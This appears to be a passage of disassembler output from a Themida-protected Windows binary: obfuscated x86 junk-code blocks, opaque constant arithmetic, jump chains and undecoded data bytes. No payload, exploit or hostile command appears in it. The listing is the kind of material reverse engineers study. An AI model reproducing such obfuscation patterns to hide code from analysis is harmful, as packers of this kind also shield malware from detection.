--------------------------------------------------------------------------- aPsk db 'PИK]',0 dw 8100h dd 0EB3848F7h, 6052E917h, 0FD880000h, 7AE9EE88h db 62h, 2 dup(0) ; --------------------------------------------------------------------------- loc_544B2B: ; CODE XREF: Themida_:00545D2Bj xor ecx, 0AFA6339h and ecx, 7B4176F0h xor ecx, 1EC950E8h sub ecx, 4F895634h add edi, ecx pop ecx jmp loc_5489AC ; --------------------------------------------------------------------------- db 68h dd 6F90h, 2CA9E9h, 24048300h, 24048B04h, 4DC4E9h, 0E3895300h dd 4C381h, 0C3810000h, 4, 0E9241C87h, 614Ch, 4BB535Eh dd 0E9208200h, 5DAFh, 6809BD55h, 0E5C1767Fh, 4E07E903h dd 0C4810000h, 2, 4EC81h, 14890000h, 0E9BDB624h, 48A9h dd 31241433h, 54E92414h, 4700007Ch, 0F3DE781h, 0EF816BB8h dd 63100207h, 1C61E9h, 0BFB95100h, 0E9111124h, 71Fh ; --------------------------------------------------------------------------- loc_544BD0: ; CODE XREF: Themida_:00549C5Cj pop edi pop dword ptr [esp] pop esp shr eax, 0Ch jmp loc_545F46 ; --------------------------------------------------------------------------- db 0BFh, 71h, 4Ch dd 0EC683904h, 89000013h, 90B82404h, 52C6FBB3h, 0C281E289h dd 4, 0B89CE9h, 24348B00h, 8104C483h, 390E44C7h, 1E68FD53h dd 89000075h, 8568242Ch, 8900002Bh, 0A3682434h, 8B7D9946h dd 0C4812434h, 4, 46A96851h, 31597D99h, 6EE959CEh, 89000095h dd 0F1015DEEh, 28AF685Eh, 2C890000h, 2BD24h, 0E9010000h dd 3365E9h, 0E9C15F00h, 35A36806h, 1C890000h, 2434FF24h dd 4EC8358h, 28B3E9h, 81FA0100h, 0A56438C2h, 14875F7Eh dd 0F665C24h, 9C2404A3h, 0FFF988E9h, 0FECCFEFFh, 714BE9C4h dd 4310000h, 24043324h, 24248Bh, 0E99C2404h, 0FFFFF96Dh dd 9D1C77FFh, 0D3665966h, 0E99C241Ch, 0FFFFF95Dh ; --------------------------------------------------------------------------- loc_544CAC: ; CODE XREF: Themida_:0054E140j mov [esp], edi jmp loc_54CB75 ; --------------------------------------------------------------------------- dd 4C481h, 0EC810000h, 4, 0B5240C89h, 1ED804Bh, 8008E5C0h dd 0E8207FC5h, 8B2434FFh, 0C483240Ch, 0E1895104h, 112EBA52h dd 0F281211Ah, 211A112Ah, 535AD101h, 4BBh, 2443E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_544CF6: ; CODE XREF: Themida_:0054DFD4j mov edi, esp jmp loc_54707F ; --------------------------------------------------------------------------- db 0C1h, 0EBh, 7 dd 1EB81h, 68520000h, 6042281Ch, 5AD3315Ah, 838AE9h, 0C8B6600h dd 9936E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_544D1E: ; CODE XREF: Themida_:00546B81j mov ebp, 0FC52843Fh sub edx, ebp pop ebp jmp loc_545193 ; --------------------------------------------------------------------------- db 81h dd 54B3242Ch, 0BE562940h, 5BAD6457h, 4247401h, 4770E95Eh dd 3C890000h, 815F5424h, 4C7h, 2B95100h, 81000000h, 0B32D09C7h dd 57C78114h, 81097B74h, 0A914D3EFh, 0E9CF0114h, 9194h dd 842376BDh, 31E5E960h, 0EF340000h, 25C5E9h, 59CF8900h dd 835FF801h, 43304C0h, 3689E924h, 0F1010000h, 6F8EE9h dd 4EC8300h, 0E9240C89h, 8F3Fh, 240C8B66h, 165E68h, 242C8900h dd 6FE9E589h, 0AD000012h, 6373D82Dh, 73BA524Eh, 2D4FAB19h dd 7C4E2310h, 1005D029h, 0E97C4E23h, 1039h ; --------------------------------------------------------------------------- loc_544DD0: ; CODE XREF: Themida_:00544A0Cj push 3BF9h mov [esp], ecx jmp loc_54BCD6 ; --------------------------------------------------------------------------- db 56h, 0BEh, 23h dd 0F7282274h, 0FF681D6h, 0E96D956Bh, 6B75h ; --------------------------------------------------------------------------- loc_544DF0: ; CODE XREF: Themida_:0054B84Aj add ebx, 4 jmp loc_5497B2 ; --------------------------------------------------------------------------- db 55h dd 705976BDh, 55BE5621h, 5178FE5Fh, 877ED568h, 0C9815951h dd 451361A5h, 5137C181h, 0E9815905h, 570ECB4Ch, 0C8BCA89h dd 4C48124h, 29000000h, 0EA015EF2h, 8BD0215Dh, 89502414h dd 405E0h, 68E90000h, 5F00000Bh, 0F64CEE81h, 0F30109D6h dd 53C3815Eh, 15E354Ch, 53EB81D3h, 815E354Ch, 97136EBh dd 0B8505A18h, 3E02FFEh, 48BC301h, 0E0895024h, 405h, 4C08300h dd 5C240487h, 0EB81C301h, 3E02FFEh, 5F98EB81h, 30FF0D26h dd 13A8E9h, 20578900h, 8324148Bh, 81E904C4h, 2900007Eh dd 0BA522404h, 410B5563h, 40A1BF57h, 6C816921h, 51020824h dd 19E973D0h, 0F7000098h, 75E946D6h, 1000042h, 242C8BE9h dd 8104C483h, 4C1h, 240C8700h, 8BD8315Ch, 0C481241Ch, 4 dd 4E8C68h, 2298E900h, 0DBF70000h, 0F381E3D1h, 0E2A7C33Fh dd 37B3E9h, 4875A00h, 24248B24h, 0FFF704E9h, 35D8F7FFh dd 75AB5ACBh, 707DE9h, 243C8900h, 63FD68h, 24348900h, 0D75D6B68h dd 0BB535E5Dh, 9B01EF8h, 36E9DE31h, 80000062h, 6866C5C6h dd 89664A40h, 0B450240Ch, 51526600h db 0B1h, 0AEh word_544F42 dw 0F180h ; DATA XREF: ___:off_436CE8o aNasFss9 db 'N─И+fSИ(9',0 dw 8F00h dd 0B2E94047h db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_544F57: ; CODE XREF: Themida_:0054BB91j mov [esp], edx mov edx, 80h jmp loc_54B4CD ; --------------------------------------------------------------------------- dd 4C481h, 87680000h, 89000062h, 0E954240Ch, 78B2h, 4026685Ch dd 34890000h, 2931E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_544F86: ; CODE XREF: Themida_:00546759j neg ecx xor ecx, 0C1208803h sub esi, ecx pop ecx push esi push dword ptr [esp+4] jmp loc_548C4C ; --------------------------------------------------------------------------- aZQs db '┤йQИ\',0 db 2 dup(0), 81h dd 4C7h, 4C78300h, 0E9243C87h, 3454h, 0FF04C483h, 51592434h dd 0C181E189h, 4, 4C181h, 0E9510000h, 638Ch, 8B241C87h dd 0C8852424h, 0F62BE99Ch, 77FFFFFFh, 11589D1Ch, 0E99C2404h dd 0FFFFF61Dh, 1C8BD931h, 4C48324h, 0C8BCE01h, 27E95224h dd 0F70000B1h, 87592414h, 55D2F7CAh, 0AC11D1BDh, 1FCD8172h dd 4D11CB13h, 5865C581h, 0C281FB94h, 2FD2460h, 54E9EA01h dd 0B700005Ah, 0F7B450C4h, 0C4FEC4FEh, 5206E4C0h, 0CE8023B6h dd 0DAEE8031h, 0C0B6EE80h, 7E904EEh db 85h, 2 dup(0) ; --------------------------------------------------------------------------- loc_545047: ; CODE XREF: Themida_:00548C47j mov [esp], edi push 642568DBh pop edi push 5ECAh mov [esp], eax jmp loc_54F385 ; --------------------------------------------------------------------------- db 5Ch, 0E9h, 0Eh db 80h, 2 dup(0) ; --------------------------------------------------------------------------- loc_545063: ; CODE XREF: Themida_:005503D9j mov eax, [esp] jmp loc_545532 ; --------------------------------------------------------------------------- db 81h dd 72264EE7h, 7EFC117h, 23CCE9h, 4EC8300h, 0EA9E9h db 0 ; --------------------------------------------------------------------------- loc_545081: ; CODE XREF: Themida_:00549E90j sub esp, 4 mov [esp], ebx mov ebx, 50C00F4Ch push ecx mov ecx, 252545D5h inc ecx push ecx not dword ptr [esp] inc dword ptr [esp] pop ecx sub ecx, 0A1A759CFh push ecx xor dword ptr [esp], 3EDC1F5Ch pop edx push ebp mov ebp, 610567E4h shr ebp, 2 xor ebp, 269D46A5h xor edx, ebp pop ebp pop ecx xor edx, ebx mov ebx, [esp] add esp, 4 sub ebx, edx jmp loc_548BC1 ; --------------------------------------------------------------------------- dd 4C481h, 28E90000h, 68000029h, 3081h, 81242C89h, 4ECh dd 527EE900h, 1AE90000h, 0BAFFFFF5h, 32845668h, 5EAC14Ah dd 9CE9D2F7h, 0E9FFFFFEh, 0FFFFF505h, 3C526858h, 34890000h dd 51E68924h, 4B9h, 60C68100h, 169B815h, 60EE81CEh, 5969B815h dd 180068h, 240C8900h, 4B9h, 59CE0100h, 0E9E28952h, 4961h dd 72E9D701h, 5400007Fh, 4C6815Eh, 81000000h, 2EEh, 0E1895100h dd 143CBB53h, 81434018h, 0DC7B55C3h, 0E9D3F714h, 852Eh ; --------------------------------------------------------------------------- loc_545168: ; CODE XREF: Themida_:0054C0FEj shr eax, 0Eh xor eax, ecx jmp loc_548344 ; --------------------------------------------------------------------------- dw 92E9h dd 66FFFFF4h, 0B3241C89h, 66D82816h, 0E9241C8Bh, 4D70h dd 80C3005Ah, 43E9D6C3h db 40h, 2 dup(0) ; --------------------------------------------------------------------------- loc_545193: ; CODE XREF: Themida_:00544D26j add eax, edx push dword ptr [esp] jmp loc_546BFD ; --------------------------------------------------------------------------- loc_54519D: ; CODE XREF: Themida_:00546327j add edi, ecx pop ecx shl edi, 5 jmp loc_54E620 ; --------------------------------------------------------------------------- dd 0CEE9CE01h, 30000082h, 53D830C3h, 270DE9h, 24248900h dd 4BE56h, 74010000h, 28E90424h, 49000053h, 3014E9h, 0E953AD00h dd 7A56h, 0C8110CBDh, 0ACBE5659h, 1477147h, 5F66E9F5h dd 0C1590000h, 0EB8303E3h, 3EBC1FFh, 7530F381h, 0D8297553h dd 0B8E95F5Bh db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_545203: ; CODE XREF: Themida_:0054EF8Cj mov ebx, 3E1F35F2h add ebx, 7E3906F8h jmp loc_54E440 ; --------------------------------------------------------------------------- db 0BDh dd 40943AB0h, 3E9E989h, 81000078h, 4C7h, 51DDE900h, 0DAE90000h dd 0FFFFFFF3h, 148B2434h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push esi mov esi, 575909A8h neg esi xor esi, 8473B57h xor esi, 0A0E1CD0Bh add ebp, 517C232Fh jmp loc_54777C ; --------------------------------------------------------------------------- loc_545257: ; CODE XREF: Themida_:00547719j pop ecx push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push 4720h jmp loc_549D79 ; --------------------------------------------------------------------------- dd 0FEBBh, 1C5F2100h, 56241C8Bh, 0CCE9E689h, 8900006Eh dd 28E92404h, 8800003Eh, 0F6515AD1h, 0C8B241Ch, 4C48324h dd 5336C180h, 0F928B2B7h, 83241C8Bh, 0EC8304C4h, 24048904h dd 0CEE9DFB4h, 8900005Ah, 0E2892414h, 2870E9h, 4C58100h dd 68000000h, 4940h, 7629E9h, 4C78100h, 83000000h, 0DE904C7h dd 350000ADh, 451295h, 0B16EE9h db 0 ; --------------------------------------------------------------------------- loc_5452E1: ; CODE XREF: Themida_:0054802Aj xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_54D016 ; --------------------------------------------------------------------------- db 81h dd 993C4AC9h, 0E981490Fh, 1F993CFCh, 242C8151h, 30E62404h dd 2D50E958h, 8B660000h, 0E9512404h, 43Bh, 24148759h, 94EDE9h db 0 ; --------------------------------------------------------------------------- loc_54531D: ; CODE XREF: Themida_:00549C8Cj mov ebp, [esp] push 39AEh mov [esp], edx push esp pop edx add edx, 4 add edx, 4 jmp loc_54B6BB ; --------------------------------------------------------------------------- aQSP db 'аО',8,'ИоP',0 dw 4500h dd 2428E9h, 4EB8100h, 53000000h dword_545350 dd 42474FFh, 465EE9h, 5DEA0100h, 34FFD021h, 0C4815A24h ; DATA XREF: ___:off_43B044o dd 4, 840FC009h, 6C2Ah, 521C77FFh, 81EE9h, 57E38900h, 55D6FBFh dd 6BF7813Ah, 13A055Dh, 97BAE9FBh, 0C4830000h, 5EF00104h dd 0B0E95657h, 83000067h, 96E904ECh, 5B00007Fh, 0F680CEFEh dd 0EBF6802Fh, 285AF328h, 0FAC380EBh, 52665966h, 9A86E9h dd 240C3300h, 8924248Bh, 0EC83241Ch, 24048904h, 98243481h dd 5B4F523Fh, 0AFB95155h, 525AB60Fh, 0AB71E9h, 4C48300h dd 2373E9h, 0C1815800h, 4, 2474FF51h, 48F5904h, 24248B24h dd 0DC685056h, 5813E538h, 7A4D68h, 241C8900h, 4F600CBBh dd 43D3F74Ah, 0CB81DBF7h, 2E5D6D18h, 92E3F381h, 0D82991A0h dd 42F1E9h, 6BE95200h, 5700005Ch, 42474FFh, 83243C8Bh dd 48F04C4h, 0B2E95C24h, 890000B7h, 4812424h, 424h, 24048F00h dd 0FFF700E9h, 240489FFh, 0FF24478Fh, 81582434h, 4ECh dd 242C8900h, 0C581E589h, 4, 8A00E952h, 2B680000h, 89000067h dd 34FF2404h, 0C4835E24h, 87565804h, 0DFF7243Ch, 119CE9h dd 0C0E95700h db 94h, 2 dup(0) ; --------------------------------------------------------------------------- loc_545497: ; CODE XREF: Themida_:00548798j pop dword ptr [esp] mov esp, [esp] mov cx, [esp] push edi mov edi, esp push ecx mov ecx, 4 add edi, 5CFC49D8h sub edi, 157E47D2h jmp loc_54C540 ; --------------------------------------------------------------------------- db 83h dd 48702C0h, 24248B24h, 9C240430h, 730BE9h, 40500h, 0BA520000h dd 4, 875AD001h, 0E95C2404h, 0CF0h, 5FD6E957h, 0F6810000h dd 60777F42h, 194AEE81h, 0F021FA8Ah, 0FFF67BE9h, 88525AFFh dd 0F65266DEh, 66012454h, 5AF3885Ah, 0ACCE9h, 286C2C00h dd 5B6C04F8h, 55E9F828h, 0FE00004Eh, 2CC0FEC0h, 2167E919h dd 2C330000h, 28B8E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545532: ; CODE XREF: Themida_:00545066j add esp, 4 push ebp mov ebp, 15356C10h xor eax, ebp pop ebp jmp loc_54961E ; --------------------------------------------------------------------------- loc_545543: ; CODE XREF: Themida_:0054801Cj add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx mov edx, 499C21D0h dec edx shl edx, 7 xor edx, 0C66FFFBAh and ebx, edx mov edx, [esp] add esp, 4 push ebx push edx pop ebx pop edx not edx xchg edx, ebx xchg edx, ebx inc edx push ebx push edx pop ebx pop edx push ebp mov ebp, 313218F2h and ebx, ebp pop ebp sub ebx, 312FE0F0h jmp loc_547426 ; --------------------------------------------------------------------------- dd 6AF505ADh, 0EE9513Bh db 6Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54559B: ; CODE XREF: Themida_:005460EDj dec ecx jmp loc_547AA3 ; --------------------------------------------------------------------------- db 59h, 1, 0D8h dd 8904EC83h, 20E9240Ch, 80000028h, 0E58070CDh, 0B427E92Ch dd 6B00000h, 1BE9C300h, 5C000028h, 5E5168h, 243C8900h dd 0A5F8E9h, 4C48300h, 0E8E95052h, 89000070h, 2C682414h dd 0E9000000h, 1D32h, 0F781D7F7h, 1033A863h, 295FFB01h dd 0FB215BDFh, 7CEB815Fh, 0E956FF59h, 63A3h, 374C68h, 242C8900h dd 42474FFh, 24048F5Dh, 0D224248Bh, 0E99C240Ch, 0FFFFEFE9h dd 752DE957h, 0B2520000h, 5AD4884Dh, 0E958E530h, 0FFFFFF7Bh dd 9043E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54563A: ; CODE XREF: Themida_:00548412j add ecx, 65491125h jmp loc_54B627 ; --------------------------------------------------------------------------- db 0B7h, 0C7h, 0 dd 170EE9F8h, 0FC050000h, 0E97A775Ah, 1046h, 5B66D930h dd 0E959CE88h, 0FFFFEFBFh, 0EEE95A66h, 1000049h, 0E9555BDDh dd 392Fh, 0E9E18951h, 6EB6h, 5DE8315Dh, 48BC501h, 4C48324h dd 2C8BE801h, 4C48124h, 83000000h, 148904ECh, 5F98BA24h dd 57560D26h, 6E0FE9h, 2434FF00h, 7B2E6858h, 0C890000h dd 0E9E18924h, 631Bh, 0B215B353h, 8BDA282Bh, 0C483241Ch dd 85EAE904h, 0FCB90000h, 0BB3C3C07h, 92765DC4h, 5359CB29h dd 423DABBh, 0E8F3810Eh, 813E987Ah, 0F446EEF3h, 0B3F3813Bh dd 54CD541h, 771A71F4h, 0F42DD829h, 8B771A71h, 0C483241Ch dd 5D80104h, 47BD5E6Fh, 81241C8Bh, 4C4h, 2AA76800h, 0C890000h dd 1BD6E924h, 0C9090000h, 310F840Fh, 0E9560000h, 5D9Ah dd 815AD301h, 2EBh, 241C3300h, 33241C31h, 0A8E9241Ch, 5F00003Fh dd 5102C383h, 60E9E189h, 89FFFFF2h, 4C181E1h, 81000000h dd 4ECh, 24048900h, 149968h, 24348900h, 0AB1EE9h, 2CB52C00h dd 2434FF96h, 4C4815Bh, 2C000000h, 46F7E990h, 0E9010000h dd 0C2AE981h, 835D1B8Dh, 0C3302E9h, 240C3124h, 5C240C33h dd 240C8966h, 0C8B60F66h, 0E99C5166h, 53D2h, 0C281E289h dd 4, 92CEE953h, 0E9560000h, 4888h, 27B1B2B7h, 0BE9F928h db 53h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5457C7: ; CODE XREF: Themida_:00544901j mov [esp], esi push esp pop esi add esi, 4 jmp loc_54EC96 ; --------------------------------------------------------------------------- db 81h dd 0C45843F2h, 2434FF5Fh, 7FA0E95Eh, 0E9810000h, 45D37D45h dd 0C181D1F7h, 0E2B4D760h, 3693C281h, 0CA015E04h, 2251E9h dd 0C3315F00h, 1C8B5453h, 59545124h, 4C181h, 6BE90000h dd 0FF000084h, 815E2434h, 4C4h, 0E9FE8900h, 6993h, 8BEB295Fh dd 1FE9242Ch, 5000088h, 29F22261h, 85C2E9h, 24248B00h dd 0FFEDC4E9h, 240C33FFh, 0E9240C31h, 0FFFFFB6Dh, 255EF781h dd 81592CA8h, 390E44EFh, 0F8C78153h, 8143B37Eh, 9C106CC7h dd 81CF0158h, 9C106CEFh, 5515E958h, 0F6810000h, 0CFC823A8h dd 815EF509h, 2F9241EDh, 0F0E9813Bh, 118C05Ch, 1AC9E9E9h dd 34FF0000h, 89565824h, 479568E6h, 0C890000h, 2E3FB924h dd 0E98127A0h, 1E700793h, 4852E9h, 89EA8100h, 584F7749h dd 6805EAC1h, 51DEh, 0E9241C89h, 62DAh, 513C77FFh, 0C181E189h dd 4, 8704E983h, 895C240Ch, 8FE92434h, 0B10000B0h, 59CC8813h dd 4144E9h, 83EB8000h, 61DAE9h, 4EC8300h, 0B9240C89h, 6A903B58h dd 4244C31h, 0F6815E59h, 6A903B58h, 89F78957h, 243C8BFBh dd 0E904C483h, 3202h, 0E924248Bh, 47D6h, 8924248Bh, 0DEBA2414h dd 31283C19h, 9685AD1h, 0E9000000h, 1Ch, 0A02912BEh, 19F68157h dd 8175F013h, 2600DFEEh, 0A0C68137h, 0E95878FEh, 9742h dd 0E9243C89h, 0E10h, 0EB0016B5h, 0ACE95059h, 5D000050h dd 15A6E9h, 14E2BB00h, 0BF570A97h, 79DE5641h, 0FFF9BAE9h dd 0EF835EFFh, 243C8704h, 26E3E95Ch, 8B660000h, 0A068240Ch dd 0E900001Dh, 77B3h ; --------------------------------------------------------------------------- loc_54599C: ; CODE XREF: Themida_:00546BDEj add esp, 4 sub esp, 4 mov [esp], eax push ebx jmp loc_545EE8 ; --------------------------------------------------------------------------- db 2Dh dd 4, 5C240487h, 89240C89h, 4BA52E1h, 1000000h, 24148BD1h dd 4C481h, 0C1830000h, 240C8704h, 0D1C2095Ch, 2477FFE2h dd 9DDDE9h, 241C8B00h, 8104C483h, 4C3h, 6DBA5200h, 8101762Ch dd 762C69EAh, 0A654E901h, 0A4BE0000h, 3135E638h, 7FE95AD6h dd 81000041h, 4C4h, 4EC8300h, 0BA241489h, 4B2C4FDFh, 8904EC83h dd 6FE92404h, 0FF000093h, 0E9582434h, 0A325h ; --------------------------------------------------------------------------- loc_545A2C: ; CODE XREF: Themida_:00546458j shr ecx, 1 add ecx, 0CC600EB5h add eax, ecx pop ecx add eax, edi sub eax, 436010CAh push dword ptr [eax] mov ecx, [esp] jmp loc_54C371 ; --------------------------------------------------------------------------- dd 0FD5AE952h, 7068FFFFh, 89000039h, 17B9240Ch, 0E9741D41h dd 423Dh, 58E9D800h, 89000086h, 0E0BE2434h, 8169D126h dd 601989F6h, 2093E901h, 0BF570000h, 31EE5183h, 0EFC1DFF7h dd 81D7F707h, 9961ECEFh, 15E78103h, 8140143Eh, 65F558C7h dd 5FFB0134h, 815BD989h, 533F86E9h, 0BD555723h, 53131435h dd 4C68E9h db 0 ; --------------------------------------------------------------------------- loc_545AB1: ; CODE XREF: Themida_:0054E00Cj jz loc_54DA59 push eax push 1Ch mov eax, [esp] push ebp mov ebp, esp add ebp, 4 push ecx jmp loc_547712 ; --------------------------------------------------------------------------- db 33h dd 0E1E9243Ch, 5E00001Ch, 40BA525Bh, 8175E55Eh, 0D04D6DCAh dd 75BD5538h, 8138B605h, 0EB3F73F5h, 0EDA9E939h, 1489FFFFh dd 9BC3E924h, 0EBC10000h, 0F4E38103h, 8173455Dh, 0B25B6BCBh dd 94F38125h, 296AD38Eh, 0ACE95BDDh, 81000023h, 8AA80CEBh dd 5BD83118h, 1D7CEB81h, 0C32943CCh, 1D7CC381h, 0E7E943CCh dd 8900001Bh, 8B54243Ch, 0F6E9243Ch, 5000066h, 3A290DF2h dd 0F47D082Dh, 58C58989h, 875DE901h, 0E95C240Ch, 0FFFFEAADh dd 4C381h, 1C870000h, 24248B24h, 6FDEE9h, 24048300h, 0EC815904h dd 4, 0E9243489h, 0ACB8h ; --------------------------------------------------------------------------- loc_545B80: ; CODE XREF: Themida_:0054B617j neg dh shl dh, 7 inc dh neg dh jmp loc_54A88F ; --------------------------------------------------------------------------- loc_545B8E: ; CODE XREF: Themida_:0054F9B2j dec eax shl eax, 5 jmp loc_54F679 ; --------------------------------------------------------------------------- aVsr db 'VИR,',0 db 0 ; --------------------------------------------------------------------------- loc_545B9D: ; CODE XREF: Themida_:0054AFC9j mov [esp], esi push esp mov esi, [esp] jmp loc_550741 ; --------------------------------------------------------------------------- db 0F7h, 0DAh, 81h dd 0AB229DF2h, 86E9813Dh, 1475C58h, 86C181D1h, 8B475C58h dd 0C4832414h, 4BA5204h, 0E9000000h, 8399h, 0B3FEB81h dd 0E94B5DE3h, 3D94h ; --------------------------------------------------------------------------- loc_545BDC: ; CODE XREF: Themida_:00548C50j mov esp, [esp] mov [esp], dx push ax pushf jmp loc_5461F4 ; --------------------------------------------------------------------------- loc_545BEB: ; CODE XREF: Themida_:0054B5B9j add esp, 4 add esp, 4 mov esi, [esp] push 22E2h mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_54E137 ; --------------------------------------------------------------------------- dd 0C085B450h, 0C4FE02ECh, 87DB551h, 0E95359ECh, 26C8h dd 509DED81h, 835F040Fh, 2C3302C5h, 242C3124h, 6CBE9h dd 5FF90100h, 2B85053h, 0E9000000h, 7B1Ch, 7CC78147h, 11BD41Ah dd 0BCE95FFAh, 5E000003h, 98C3E9h, 50B45000h, 0ABE9DCF6h dd 810000ACh, 145F242Ch, 815D09EDh, 0ED145FC5h, 0B8505A09h dd 3FEFEA61h, 0E958C501h, 17E0h, 6ACAE95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_545C86: ; CODE XREF: Themida_:00548433j push edx push esp pop edx push 646Ah mov [esp], edi push eax mov eax, 7A616431h mov edi, eax pop eax jmp loc_54B61C ; --------------------------------------------------------------------------- db 52h dd 60067B68h, 54295A21h, 5D5A0424h, 67BC581h, 348B2160h dd 4C48324h, 89EB8953h, 241C8BD8h, 29A7E9h, 289EB100h dd 2C5966CBh, 62D5E96Dh, 0AFB90000h, 0E969A772h, 7938h ; --------------------------------------------------------------------------- loc_545CDC: ; CODE XREF: Themida_:00544A4Fj push edx mov dh, al mov bh, dh pop edx jmp loc_54E8BA ; --------------------------------------------------------------------------- db 89h dd 0D1015EF2h, 6824148Bh, 72C9h, 647BE9h, 4BA00h, 0E1050000h dd 295B491Ch, 82E953D0h, 31000018h, 14332414h, 4FEDE924h dd 4BF0000h, 1000000h, 5F04247Ch, 0FFEA48E9h db 0FFh ; --------------------------------------------------------------------------- loc_545D25: ; CODE XREF: Themida_:0054F517j add ecx, 2A4C0FB2h jmp loc_544B2B ; --------------------------------------------------------------------------- dd 3104C483h, 92ADE9C3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545D3A: ; CODE XREF: Themida_:00548BBCj dec dword ptr [esp] pop esi and esi, 244606Fh inc esi push ebx mov ebx, 0C477058h add ebx, 3B592467h not ebx sub ebx, 9D3C0E4Ch and esi, ebx jmp loc_549FA2 ; --------------------------------------------------------------------------- dd 0DCE9FE01h db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_545D67: ; CODE XREF: Themida_:0054E084j add edi, 4 xchg edi, [esp] pop esp jmp loc_544852 ; --------------------------------------------------------------------------- db 81h dd 4EEh, 74FF5600h, 348B0424h, 4C48124h, 8F000000h, 248B2404h dd 24148924h, 614DE9h db 0 ; --------------------------------------------------------------------------- loc_545D95: ; CODE XREF: Themida_:0054EA9Ej mov ebx, 4 jmp loc_54EDA6 ; --------------------------------------------------------------------------- db 0FFh dd 669D1C77h, 2414D259h, 0E85BE99Ch, 0E95CFFFFh, 8B0Eh dd 4C38359h, 9578E953h, 0FE090000h, 0D8BF575Fh, 9363E52h dd 0C6815FFEh, 49D75474h, 55EF001h, 52DE650Ch, 0A0E9D801h dd 5600000Fh, 0AD5142BEh, 7E6C112h, 874AD687h, 0F7D6F7D6h dd 14C681DEh, 8163D30Bh, 0E7398C6h, 0E9F00193h, 3DA3h dd 0FFE800E9h, 0D8295AFFh, 0AB197305h, 94E9514Fh, 0FF0000A1h dd 0C8B2434h, 4C48124h, 50000000h, 0E957E089h, 2BD5h, 2C0E954h dd 57470000h, 0F7240C87h, 74FF51D1h, 0E9590424h, 9F6h dd 0E904C483h, 0FFFFE843h, 5E03B850h, 0C2811AB9h, 40ED6CDBh dd 96E9C229h, 8B00006Bh, 0C481243Ch, 4, 2AB4E981h, 2AE9CBFDh dd 0BD0000ACh, 5007363Dh, 49AB7FBEh, 8BEE2971h, 0C483242Ch dd 0C6834E04h, 81D6F7FFh, 427545C6h, 282FE921h, 0EE010000h dd 2434875Dh, 0FF24248Bh, 34FF2434h, 566DE924h, 0CA010000h dd 592434FFh, 5304C483h, 4FAEE9h, 0BDC18100h, 21F0C52Fh dd 0F324E9CBh, 0FF56FFFFh, 8B042474h, 0C4832434h, 24048F04h dd 6624248Bh, 2404BB0Fh, 0E727E99Ch, 0E958FFFFh, 1B38h ; --------------------------------------------------------------------------- loc_545EE8: ; CODE XREF: Themida_:005459A6j push ecx mov ecx, 4 mov ebx, ecx pop ecx mov eax, ebx pop ebx add edx, eax mov eax, [esp] add esp, 4 xchg edx, [esp] pop esp jmp loc_54737D ; --------------------------------------------------------------------------- db 4, 0FBh, 2Ch dd 0E9C7003Fh, 9, 9C241CF7h, 9127E9h, 0BCE95800h, 5A000060h dd 518CE9h, 0E6DFE900h, 2C89FFFFh, 6858E924h, 15A0000h dd 0FE7AE9CBh, 0B8FFFFh, 29000000h, 9A06E9D0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545F46: ; CODE XREF: Themida_:00544BD8j xor eax, ecx push eax push 27FDh jmp loc_54DFA5 ; --------------------------------------------------------------------------- db 54h dd 1326E9h, 0F6814600h, 4BE970DBh, 3EF2C681h, 0F0012ACEh dd 0FFFCE6E9h, 7B45BFFFh, 974F59ABh, 8197D0F7h, 53B2D3EFh dd 0F9895178h, 0E959CE89h, 7A63h ; --------------------------------------------------------------------------- loc_545F88: ; CODE XREF: Themida_:0054F398j mov ecx, 2FC56982h or ecx, 191E3B8Ch xor ecx, 760B311Dh sub ecx, 2F17E4AFh add edi, ecx pop ecx jmp loc_54C25A ; --------------------------------------------------------------------------- loc_545FA7: ; CODE XREF: Themida_:0054F694j mov eax, 66FA371Bh push ebx mov ebx, 493FE5A1h sub eax, ebx jmp loc_54CCA6 ; --------------------------------------------------------------------------- db 68h, 0AAh, 32h dd 14890000h, 0FD33E924h, 3C89FFFFh db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_54EF82 ; --------------------------------------------------------------------------- db 68h, 5Eh, 2Bh dd 66E90000h, 58000073h, 2440C381h, 0C30135FBh, 7A99BE56h dd 0EE813EF3h, 20847782h, 5E2ACE81h, 0EE816E0Fh, 48743AFFh dd 0F8E9F329h, 0C1000004h, 0BE5605EAh, 0F9BA5534h, 15EF229h dd 5BEDE9D3h, 0B8500000h, 4, 8358C501h, 1C8904ECh, 55BE5624h dd 0E93B4056h, 6076h ; --------------------------------------------------------------------------- loc_54603C: ; CODE XREF: Themida_:0054B36Ej push eax mov eax, 8855E9Fh mov ebx, 594FA658h sub ebx, eax pop eax add edx, 7856185Eh add edx, ebx sub edx, 7856185Eh jmp loc_549A75 ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h aVics db 'V┴ФИ&-',0 align 4 aVsr_0 db 'VИЮ\',0 align 2 dw 2B8h dd 1000000h, 4BE958C6h, 5FFFFFFEh, 405BD831h, 30E57505h dd 8BC101A0h, 0C4832404h, 240C8704h, 0E924248Bh, 4291h dd 685153ADh, 268936C8h, 81D1F759h, 9C4DE6F1h, 0BE565739h dd 1C907010h, 43E7CE81h, 0CE813A09h, 51DF37DBh, 0F707E6C1h dd 5BF681DEh, 891E5547h, 63E95EF7h db 96h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5460CF: ; CODE XREF: Themida_:0054B2EFj sub ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp mov [esp], ecx mov ecx, 48B944F1h and ecx, 11DA15B7h 